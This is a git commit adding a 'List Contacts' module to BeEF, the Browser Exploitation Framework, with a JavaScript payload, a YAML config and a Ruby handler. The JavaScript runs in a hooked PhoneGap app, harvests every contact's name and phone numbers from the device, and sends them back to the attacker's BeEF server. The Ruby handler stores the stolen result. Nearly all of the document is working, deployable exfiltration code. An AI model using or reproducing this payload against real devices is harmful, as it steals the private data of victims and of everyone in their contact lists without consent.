adding contact list

This commit is contained in:
Sergey Gorbaty
2013-05-03 10:09:09 -07:00
parent c5d5b99472
commit 1699d52475
3 changed files with 71 additions and 0 deletions

View File

@@ -0,0 +1,39 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// phonegap_list_contacts
//
beef.execute(function() {
var result = '';
function onSuccess(contacts) {
for (var i=0; i<contacts.length; i++) {
result = result + '\n' + contacts[i].displayName;
for (var j=0; j<contacts[i].phoneNumbers.length; j++) {
result = result + ' #' + contacts[i].phoneNumbers[j].value;
}
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
function onError(contactError) {
result = 'fail';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
var options = new ContactFindOptions();
options.filter="";
options.multiple=true;
var fields = ["displayName", "phoneNumbers"];
navigator.contacts.find(fields, onSuccess, onError, options);
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# phonegap
#
beef:
module:
phonegap_list_contacts:
enable: true
category: "Phonegap"
name: "List Contacts"
description: "Examine device contacts."
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# // phonegap_list_contacts
class Phonegap_list_contacts < BeEF::Core::Command
def post_execute
content = {}
content['Result'] = @datastore['result']
save content
end
end